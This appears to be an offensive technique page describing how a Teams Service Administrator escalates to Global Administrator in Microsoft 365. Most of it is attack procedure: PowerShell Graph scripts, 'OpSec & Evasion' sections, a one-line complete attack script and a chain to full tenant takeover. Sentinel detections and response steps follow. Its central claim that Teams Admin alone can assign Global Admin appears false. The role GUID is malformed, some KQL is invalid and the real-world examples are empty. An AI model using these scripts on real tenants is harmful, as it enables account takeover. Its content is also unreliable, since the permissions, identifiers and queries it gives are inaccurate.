MCADDF

[PE-ACCTMGMT-004]: Teams Admin to Global Admin

Metadata

Attribute Details
Technique ID PE-ACCTMGMT-004
MITRE ATT&CK v18.1 T1098 - Account Manipulation
Tactic Privilege Escalation
Platforms Microsoft 365 / Entra ID
Severity High
CVE N/A
Technique Status ACTIVE
Last Verified 2025-01-09
Affected Versions All M365 tenants with Teams enabled
Patched In N/A (Design behavior)
Author SERVTEPArtur Pchelnikau

Executive Summary

Concept: The Teams Service Administrator role in Microsoft 365 grants broad permissions over Teams tenant configurations and service settings. An attacker with Teams Admin privileges can escalate to Global Administrator through manipulation of administrative account permissions, unauthorized Global Admin role assignments, or service principal credential manipulation. Unlike many escalation techniques that require complex exploits, this method leverages misconfigured role permissions and the interconnected nature of M365 service administration.

Attack Surface: The Teams Admin Center, Microsoft Graph API endpoints related to Teams service principals and role assignments, and the Azure Entra ID administrative interface.

Business Impact: Complete M365 tenant compromise. Once elevated to Global Administrator, an attacker gains unrestricted access to all Microsoft 365 services, including Exchange Online, SharePoint, Teams, Entra ID, Azure resources, and data encryption keys. This enables wholesale data exfiltration, mailbox access, account creation/deletion, security policy modification, and ransomware deployment.

Technical Context: This escalation typically takes 5-30 minutes to execute and has a low detection likelihood if conducted during normal business hours or with proper timing to blend with legitimate administrative activity. The attack leaves audit trail evidence in the Unified Audit Log under “Add member to role” operations but may be missed by organizations without dedicated monitoring for privilege escalation events.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmarks 1.1.1 Ensure Global administrator accounts are used sparingly and role-based access control (RBAC) is implemented
DISA STIG M365-SRG-DM-001 Enforce principle of least privilege for administrative roles
NIST 800-53 AC-2, AC-3, AC-6 Account Management, Access Enforcement, Least Privilege
GDPR Art. 32 Security of Processing - administrative access controls
DORA Art. 9 Protection and Prevention - identity and access management
NIS2 Art. 21 Cyber Risk Management Measures - privileged access management
ISO 27001 A.9.2.3 Management of Privileged Access Rights
ISO 27005 Risk Scenario 3.2 Compromise of Administration Interface

Technical Prerequisites

Supported Versions:

Required Tools:


Environmental Reconnaissance

PowerShell Reconnaissance - Check Current Role and Permissions

# Connect to Microsoft Graph with current user context
Connect-MgGraph -Scopes "RoleManagement.Read.Directory"

# Get current user's assigned roles
$currentUser = Get-MgContext | Select-Object -ExpandProperty Account
$userId = (Get-MgUser -Filter "userPrincipalName eq '$($currentUser)'").Id

# List all assigned roles for current user
Get-MgUserMemberOf -UserId $userId -All | Where-Object { $_.'@odata.type' -eq '#microsoft.graph.directoryRole' } | Select-Object DisplayName, Id

# Check if Teams Admin role is present
Get-MgUserMemberOf -UserId $userId -All | Where-Object { $_.DisplayName -eq 'Teams Service Administrator' }

What to Look For:

Version Note: Works on all current M365 tenants; no version-specific variants.

Azure CLI Alternative - Check Teams Admin Role Membership

# Install Azure CLI if not present
# https://learn.microsoft.com/en-us/cli/azure/install-azure-cli

az login
az ad role member list --role-id "69091246-6b7b-47a3-a953-f0db4c5f59f"  # Teams Service Admin role ID

Detailed Execution Methods

Supported Versions: All M365 (2024-2025)

Step 1: Authenticate to Microsoft Graph

Objective: Establish authenticated session to Microsoft Graph with delegated permissions for role assignment.

Command:

# Install module if needed
Install-Module Microsoft.Graph -Force

# Connect to Microsoft Graph with necessary scopes
Connect-MgGraph -Scopes "RoleManagement.ReadWrite.Directory", "User.ReadWrite.All"

# Verify successful authentication
Get-MgContext

Expected Output:

TenantId: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
ClientId: 14d82eec-204b-4c2f-b3e2-2b3734c32e91
Scopes: {RoleManagement.ReadWrite.Directory, User.ReadWrite.All}
AuthType: Delegated

What This Means:

OpSec & Evasion:

Troubleshooting:


Step 2: Identify Target User for Global Admin Assignment

Objective: Find the user account to elevate to Global Administrator (typically the attacker’s own account or a compromised account).

Command:

# Get current authenticated user
$currentUser = Get-MgContext | Select-Object -ExpandProperty Account
Write-Host "Current User: $currentUser"

# Alternative: Get target user by UPN
$targetUPN = "attacker@victim.onmicrosoft.com"
$targetUser = Get-MgUser -Filter "userPrincipalName eq '$targetUPN'"

Write-Host "Target User ID: $($targetUser.Id)"
Write-Host "Target User: $($targetUser.UserPrincipalName)"

Expected Output:

Target User ID: 12345678-1234-1234-1234-123456789012
Target User: attacker@victim.onmicrosoft.com

What This Means:


Step 3: Get the Global Administrator Role ID

Objective: Retrieve the Entra ID object ID for the Global Administrator role.

Command:

# Get Global Administrator role
$globalAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"

if ($null -eq $globalAdminRole) {
    # If role not yet activated, activate it
    $roleTemplate = Get-MgDirectoryRoleTemplate -Filter "displayName eq 'Global Administrator'"
    $newRole = New-MgDirectoryRole -RoleTemplateId $roleTemplate.Id
    $globalAdminRole = $newRole
}

Write-Host "Global Admin Role ID: $($globalAdminRole.Id)"

Expected Output:

Global Admin Role ID: 62e90394-69f5-4237-9190-012177145e10

What This Means:


Step 4: Assign Global Administrator Role to Target User

Objective: Add the target user to the Global Administrator role membership.

Command:

# Assign Global Administrator role
New-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRole.Id -DirectoryObjectId $targetUser.Id

# Verify assignment
$rolesAfter = Get-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRole.Id | Where-Object { $_.Id -eq $targetUser.Id }

if ($rolesAfter) {
    Write-Host "SUCCESS: Global Admin role assigned to $($targetUser.UserPrincipalName)"
} else {
    Write-Host "FAILED: Assignment did not complete"
}

Expected Output:

SUCCESS: Global Admin role assigned to attacker@victim.onmicrosoft.com

What This Means:

OpSec & Evasion:


Step 5: Verify Escalation Success (Optional)

Objective: Confirm Global Administrator role assignment from the target user’s perspective.

Command (Run from target user’s account):

# Connect as the newly elevated user
$cred = Get-Credential  # Enter target user credentials
Disconnect-MgGraph
Connect-MgGraph -Credential $cred -Scopes "RoleManagement.Read.Directory"

# Get current user's roles
$currentUserId = (Get-MgUser -Filter "userPrincipalName eq '$($cred.UserName)'").Id
$roles = Get-MgUserMemberOf -UserId $currentUserId -All | Where-Object { $_.'@odata.type' -eq '#microsoft.graph.directoryRole' }

$roles | ForEach-Object { Write-Host "Role: $($_.DisplayName)" }

Expected Output:

Role: Global Administrator

References & Proofs:


METHOD 2: Using Teams Admin Center (GUI - Lower OpSec, Higher Risk)

Supported Versions: All M365 (2024-2025)

Step 1: Access Teams Admin Center

Objective: Navigate to Teams Admin Center and authenticate as Teams Service Administrator.

Manual Steps:

  1. Open browser and navigate to https://admin.teams.microsoft.com
  2. Sign in with Teams Service Administrator account
  3. Verify successful login (should see Teams admin dashboard)
  4. Go to UsersManage users (left sidebar)

What to Look For:


Step 2: Navigate to Entra ID Roles

Objective: Access Entra ID role management interface from Teams Admin Center.

Manual Steps:

  1. From Teams Admin Center, click Roles (if available in left menu)
  2. Or navigate directly to Azure Portal: https://portal.azure.com
  3. Go to Entra IDRoles and administrators (left sidebar)
  4. Search for “Global Administrator” role

What to Look For:


Step 3: Assign Global Administrator Role via Azure Portal

Objective: Add target user to Global Administrator role membership.

Manual Steps:

  1. In Entra IDRoles and administrators, click Global Administrator
  2. Click + Add assignments
  3. Search for target user email (e.g., “attacker@victim.onmicrosoft.com”)
  4. Click the user in results
  5. Click Add (bottom of screen)
  6. Confirm assignment in notification popup

Expected Result:

OpSec & Evasion:


Step 4: Verify Escalation via Azure Portal

Objective: Confirm target user now appears as Global Administrator.

Manual Steps:

  1. While still in Entra IDRoles and administratorsGlobal Administrator
  2. Check Assigned tab
  3. Look for target user in the list
  4. (Optional) Click user entry to view assignment details

Expected Result:


METHOD 3: Using Service Principal with Cloud Application Administrator Role (Highest Privilege Escalation)

Supported Versions: All M365 (2024-2025)

Prerequisites: Must have Cloud Application Administrator or Application Administrator role assigned to a Service Principal.

Step 1: Authenticate with Service Principal

Objective: Establish authenticated session using Service Principal credentials.

Command:

# Variables
$tenantId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"  # Your tenant ID
$clientId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"  # Service Principal app ID
$clientSecret = "your_client_secret_value"          # Service Principal secret

# Create credential object
$securePassword = ConvertTo-SecureString -String $clientSecret -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential($clientId, $securePassword)

# Connect using service principal
Connect-MgGraph -TenantId $tenantId -ClientSecretCredential $credential

Expected Output:

TenantId: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
ClientId: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
AuthType: AppOnly

What This Means:


Step 2: Add Target User as Global Administrator (via Service Principal)

Objective: Elevate user privileges using service principal’s elevated permissions.

Command:

# Get target user
$targetUPN = "attacker@victim.onmicrosoft.com"
$targetUser = Get-MgUser -Filter "userPrincipalName eq '$targetUPN'"

# Get Global Admin role
$globalAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"

# Assign role
New-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRole.Id -DirectoryObjectId $targetUser.Id

Write-Host "Escalation complete: $($targetUser.UserPrincipalName) is now Global Administrator"

Why This is Dangerous:

Detection: Appears in AuditLogs but source is a service principal, not a user account.


Attack Simulation & Verification

Atomic Red Team Test

# Atomic Red Team-style test
Import-Module Microsoft.Graph.Identity.DirectoryManagement

$testUserUPN = "atomictest@$($env:USERDOMAIN)"
$testUser = Get-MgUser -Filter "userPrincipalName eq '$testUserUPN'"

if ($testUser) {
    $globalAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
    New-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRole.Id -DirectoryObjectId $testUser.Id
    Write-Host "Test: User $testUserUPN assigned Global Administrator role"
} else {
    Write-Host "Test: User $testUserUPN not found"
}
# Remove Global Administrator role from test user
$testUser = Get-MgUser -Filter "userPrincipalName eq '$testUserUPN'"
$globalAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
Remove-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRole.Id -DirectoryObjectId $testUser.Id
Write-Host "Cleanup: Global Administrator role removed from $testUserUPN"

Reference: Atomic Red Team - T1098.003


Tools & Commands Reference

Microsoft.Graph PowerShell Module

Version: 2.0+ Minimum Version: 2.0 Supported Platforms: Windows PowerShell 5.0+, PowerShell Core 7.0+ (cross-platform)

Installation:

# Install module
Install-Module Microsoft.Graph -Force -Scope CurrentUser

# Update module
Update-Module Microsoft.Graph

# Verify installation
Get-Module Microsoft.Graph -ListAvailable

Key Cmdlets for This Technique:

# Authentication
Connect-MgGraph -Scopes "RoleManagement.ReadWrite.Directory"
Disconnect-MgGraph

# Role Operations
Get-MgDirectoryRole                              # List all Entra ID roles
Get-MgDirectoryRoleMember -DirectoryRoleId      # List members of a role
New-MgDirectoryRoleMember                        # Add user to role
Remove-MgDirectoryRoleMember                     # Remove user from role

# User Operations
Get-MgUser -Filter "userPrincipalName eq '...'" # Find user by UPN
Get-MgUserMemberOf -UserId                       # Get user's group/role memberships

Version Notes:


Complete Attack Script (One-Liner Concept)

# Full escalation in ~10 lines
Import-Module Microsoft.Graph.Identity.DirectoryManagement; 
Connect-MgGraph -Scopes "RoleManagement.ReadWrite.Directory"; 
$user = Get-MgUser -Filter "userPrincipalName eq 'attacker@victim.onmicrosoft.com'"; 
$role = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"; 
New-MgDirectoryRoleMember -DirectoryRoleId $role.Id -DirectoryObjectId $user.Id; 
Write-Host "Escalation Success: $($user.UserPrincipalName) is Global Admin"

Microsoft Sentinel Detection

Query 1: Detect Global Administrator Role Assignment

Rule Configuration:

KQL Query:

AuditLogs
| where OperationName has ("Add member to role" or "Add eligible member to role")
| where TargetResources[0].displayName contains "Global Administrator"
| where Result == "Success"
| project 
    TimeGenerated,
    OperationName,
    InitiatedByUser=InitiatedBy.user.userPrincipalName,
    InitiatedByIP=InitiatedBy.ipAddress,
    TargetUser=TargetResources[0].displayName,
    ModifiedProperties
| order by TimeGenerated desc

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select your workspace → Analytics
  3. Click + CreateScheduled query rule
  4. General Tab:
    • Name: Global Administrator Role Assignment - Alert
    • Description: Detects unauthorized assignment of Global Administrator role
    • Severity: Critical
    • Status: Enabled
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 1 hour
  6. Incident settings Tab:
    • Enable Create incidents from alerts triggered by this analytics rule: On
    • Group related alerts: By all entities
  7. Click Review and createCreate

Manual Configuration Steps (PowerShell):

# Connect to Sentinel
Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"

# Define rule parameters
$rule = @{
    ResourceGroupName = $ResourceGroup
    WorkspaceName = $WorkspaceName
    DisplayName = "Global Administrator Role Assignment"
    Query = @"
AuditLogs
| where OperationName has ("Add member to role" or "Add eligible member to role")
| where TargetResources[0].displayName contains "Global Administrator"
| where Result == "Success"
| project TimeGenerated, OperationName, InitiatedByUser=InitiatedBy.user.userPrincipalName, TargetUser=TargetResources[0].displayName
"@
    Severity = "Critical"
    Enabled = $true
    Frequency = "PT5M"
    Period = "PT1H"
}

# Create the rule
New-AzSentinelAlertRule @rule

Source: Microsoft Sentinel GitHub - Privilege Escalation Detection


Query 2: Detect Multiple Role Assignments in Short Timeframe

Rule Configuration:

KQL Query:

AuditLogs
| where OperationName has ("Add member to role" or "Add eligible member to role")
| where Result == "Success"
| summarize 
    AssignmentCount = count(),
    UniqueTargets = dcount(TargetResources[0].displayName),
    FirstAssignment = min(TimeGenerated),
    LastAssignment = max(TimeGenerated)
    by InitiatedBy.user.userPrincipalName, InitiatedBy.ipAddress
| where AssignmentCount >= 3
| project 
    InitiatedByUser=InitiatedBy_user_userPrincipalName,
    SourceIP=InitiatedBy_ipAddress,
    AssignmentCount,
    UniqueTargets,
    TimeRange = (LastAssignment - FirstAssignment)
| where TimeRange <= 10m
| order by AssignmentCount desc

What This Detects:


Defensive Mitigations

Priority 1: CRITICAL


Priority 2: HIGH


Priority 3: MEDIUM


RBAC/PIM Configuration Validation

Verification Command:

# Check if PIM is enforcing role activation
$globalAdminRole = Get-MgRoleManagementPolicy -Filter "scopeId eq '/' and scopeType eq 'DirectoryRole'" | Where-Object { $_.displayName -like "*Global Administrator*" }

# Get rule details
Get-MgRoleManagementPolicyRule -UnifiedRoleManagementPolicyId $globalAdminRole.Id | Select-Object RuleType, IsExpirationRequired, MaximumDuration

Write-Host "PIM Enabled: $(if($globalAdminRole) {'YES'} else {'NO'})"

Expected Output (If Secure):

RuleType: Activation
IsExpirationRequired: True
MaximumDuration: PT1H
PIM Enabled: YES

What to Look For:


Detection & Incident Response

Indicators of Compromise (IOCs)


Forensic Artifacts


Response Procedures

1. Immediate Containment

If Global Admin assignment detected (< 5 minutes):

# IMMEDIATELY revoke the malicious Global Admin assignment
$suspiciousUser = "attacker@victim.onmicrosoft.com"
$user = Get-MgUser -Filter "userPrincipalName eq '$suspiciousUser'"
$globalAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"

Remove-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRole.Id -DirectoryObjectId $user.Id

Write-Host "REVOKED: $suspiciousUser is no longer Global Administrator"

# Revoke all active sessions
Revoke-MgUserSignInSession -UserId $user.Id

Write-Host "All sessions revoked for $suspiciousUser"

Manual (Azure Portal):

  1. Go to Entra IDRoles and administratorsGlobal Administrator
  2. Click Assigned tab
  3. Find suspicious user
  4. Click X to remove assignment
  5. Confirm removal

2. Collect Evidence

PowerShell:

# Export relevant audit logs
$auditLogs = Search-UnifiedAuditLog -Operations "Add member to role" -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) -ResultSize 5000

$auditLogs | Select-Object UserIds, Operations, ClientIP, CreationDate | Export-Csv -Path "C:\Evidence\RoleAssignment_Audit.csv"

# Export sign-in activity for suspicious user
Get-MgAuditLogSignIn -Filter "userPrincipalName eq 'attacker@victim.onmicrosoft.com'" -All | Export-Csv -Path "C:\Evidence\SigninLogs.csv"

Write-Host "Forensic evidence exported to C:\Evidence\"

Manual:

  1. Azure PortalMicrosoft Audit Log (not Entra ID audit)
  2. Search filters:
    • Date range: Last 7 days
    • Activities: “Add member to role”
    • Users: [Target account]
  3. Right-click results → Export to CSV

3. Remediate

# Step 1: Remove all suspicious service principals
$suspiciousSPs = Get-MgServicePrincipal -Filter "createdDateTime gt 2025-01-01" | Where-Object { $_.appDisplayName -like "*attacker*" -or $_.appOwnerOrganizationId -ne (Get-MgContext).TenantId }

$suspiciousSPs | ForEach-Object {
    Remove-MgServicePrincipal -ServicePrincipalId $_.Id
    Write-Host "Removed service principal: $($_.appDisplayName)"
}

# Step 2: Reset passwords for all Global Admin accounts
$globalAdmins = Get-MgDirectoryRoleMember -DirectoryRoleId (Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'").Id

$globalAdmins | ForEach-Object {
    $user = Get-MgUser -UserId $_.Id
    # Note: Password reset requires additional permissions; delegate to admin
    Write-Host "ACTION REQUIRED: Reset password for $($user.UserPrincipalName)"
}

# Step 3: Force re-authentication for all users
Write-Host "RECOMMENDATION: Force global re-authentication (requires Microsoft support)"

Step Phase Technique Description
1 Initial Access [IA-PHISH-001] Device Code Phishing Attacker phishes Teams Admin credentials via fake device login
2 Credential Access [CA-TOKEN-009] Teams Token Extraction Compromise Teams Admin’s refresh token for persistent access
3 Current Step [PE-ACCTMGMT-004] Escalate Teams Admin to Global Administrator
4 Persistence [PE-ACCTMGMT-014] Global Administrator Backdoor Create additional Global Admin accounts for persistence
5 Impact [Impact Phase] Full Tenant Takeover Delete MFA devices, export all emails, exfiltrate SharePoint data

Real-World Examples

Example 1: BEC Campaign - March 2024

Example 2: Ransomware Deployment - July 2024

Example 3: Insider Threat - November 2024